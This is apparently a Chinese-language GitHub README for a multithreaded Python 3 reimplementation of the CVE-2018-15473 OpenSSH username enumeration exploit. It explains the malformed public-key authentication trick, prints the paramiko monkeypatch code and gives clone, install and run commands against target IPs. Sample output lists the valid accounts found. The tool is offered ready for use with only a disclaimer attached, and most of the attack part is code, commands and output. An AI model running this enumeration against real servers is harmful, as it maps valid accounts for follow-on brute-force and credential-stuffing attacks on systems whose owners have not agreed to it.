基于Python 3重新实现的经典CVE-2018-15473 OpenSSH用户枚举漏洞利用工具,扩展了多线程、字典支持、自动漏洞检测和线程安全的漏洞利用补丁。
CVE-2018-15473 是一个影响 OpenSSH 版本 2.3 到 7.7 的用户枚举漏洞。
该漏洞源于 OpenSSH 服务器对有效和无效用户名的认证尝试响应存在细微差异。通过构造一个畸形的公钥认证数据包,攻击者可以观察服务器的行为,从而判断给定用户名在系统上是否存在——无需知道用户密码。
此信息可能是针对性暴力破解或凭证填充攻击的关键第一步。
| 详情 | 值 |
|---|---|
| CVE ID | CVE-2018-15473 |
| 受影响版本 | OpenSSH 2.3 – 7.7 |
| CVSS 评分 | 5.3(中等) |
| 类型 | 信息泄露 / 用户枚举 |
| 是否需要认证 | 否 |
OpenSSH 的认证流程通常如下:
Client → MSG_SERVICE_REQUEST → Server
Client ← MSG_SERVICE_ACCEPT ← Server
Client → MSG_USERAUTH_REQUEST → Server
Client ← MSG_USERAUTH_FAILURE or MSG_USERAUTH_SUCCESS ← Server
该漏洞利用滥用了 MSG_SERVICE_ACCEPT 阶段。当服务器返回 MSG_SERVICE_ACCEPT 时,客户端应在随后的 MSG_USERAUTH_REQUEST 数据包中追加一个布尔字段。通过将 paramiko 的 Message.add_boolean 方法修补为无操作,该工具发送一个畸形/截断的认证数据包。
OpenSSH 服务器随后根据用户名是否存在表现出不同行为:
MSG_USERAUTH_FAILURE 拒绝(用户名不存在,无需检查密钥)AuthenticationException(它尝试验证密钥,从而确认用户存在)该工具通过修补后的 paramiko 处理程序(_parse_userauth_failure 和 _parse_service_accept)拦截这两个响应,并对每个用户名进行分类。
原始 PoC 永久性地修补了 add_boolean,这导致多个线程同时运行时出现竞态条件——线程会干扰彼此的握手,产生错误的 SSH negotiation failed 错误。本次重新实现将修补操作封装在 threading.Lock() 中,使其变成原子操作:
with _patch_lock:
real_add_boolean = paramiko.message.Message.add_boolean
paramiko.message.Message.add_boolean = _add_boolean_noop
try:
result = original_service_accept(auth_handler, m)
finally:
paramiko.message.Message.add_boolean = real_add_boolean
nmap 在扫描前验证目标运行的是存在漏洞的 OpenSSH 版本paramikopython-nmapnmap(系统二进制文件,必须安装)git clone https://github.com/K3rn3l-32/Threaded-CVE-2018-15473.git
cd CVE-2018-15473
# 创建并激活虚拟环境(推荐)
python3 -m venv venv
source venv/bin/activate
# 安装依赖项
pip install paramiko python-nmap
确保系统上已安装 nmap:
# Debian/Ubuntu/Kali
sudo apt install nmap
usage: main.py [-h] [-p PORT] [-t THREADS] (-u USERNAME | -U WORDLIST) target
positional arguments:
target 目标IP地址
options:
-h, --help 显示帮助信息并退出
-p, --port PORT SSH端口(默认:22)
-t, --threads THREADS 字典模式线程数(默认:3)
-u USERNAME 要检查的单个用户名
-U WORDLIST 字典文件路径
检查单个用户名:
python main.py 192.168.1.10 -u root
使用默认线程数枚举字典:
python main.py 192.168.1.10 -U /usr/share/wordlists/users.txt
使用自定义线程数和端口枚举:
python main.py 192.168.1.10 -U users.txt -t 10 -p 2222
示例输出:
[*] Scanning 192.168.56.109:22 ...
[*] Target running OpenSSH version: 4.7
[+] Target is VULNERABLE to CVE-2018-15473
[*] Loaded : 12 usernames (0 duplicate(s) removed → 12 unique)
[*] Target : 192.168.56.109:22
[*] Threads : 10
[+] root <- VALID
[+] service <- VALID
[-] guest
[-] admin
...
─────────────────────────────────────────────
[*] Scan complete in 3.87s
[*] Checked : 12 usernames
[*] Threads : 10
[+] Valid (2) : ['root', 'service']
[-] Invalid (8)
[!] Errors (2) : ['postgres', 'temp']
本工具是原始概念验证漏洞利用程序的 Python 3 重新实现与扩展。发现和记录此漏洞的全部功劳归于原始研究人员:
| 角色 | 名称/代号 |
|---|---|
原始漏洞利用程序:https://leapsecurity.io
本次重新实现新增了:
本工具仅用于教育目的和授权渗透测试。 针对非您拥有或未经明确书面许可的系统使用此工具是非法且不道德的。 作者对任何滥用本软件的行为概不负责。 请始终进行负责任的披露。
| 原始 PoC 作者 |
| Leap Security (@LeapSecurity) |
| 漏洞研究 | Matthew Daley |
| 漏洞研究 | Justin Gardner |
| 漏洞研究 | Lee David Painter |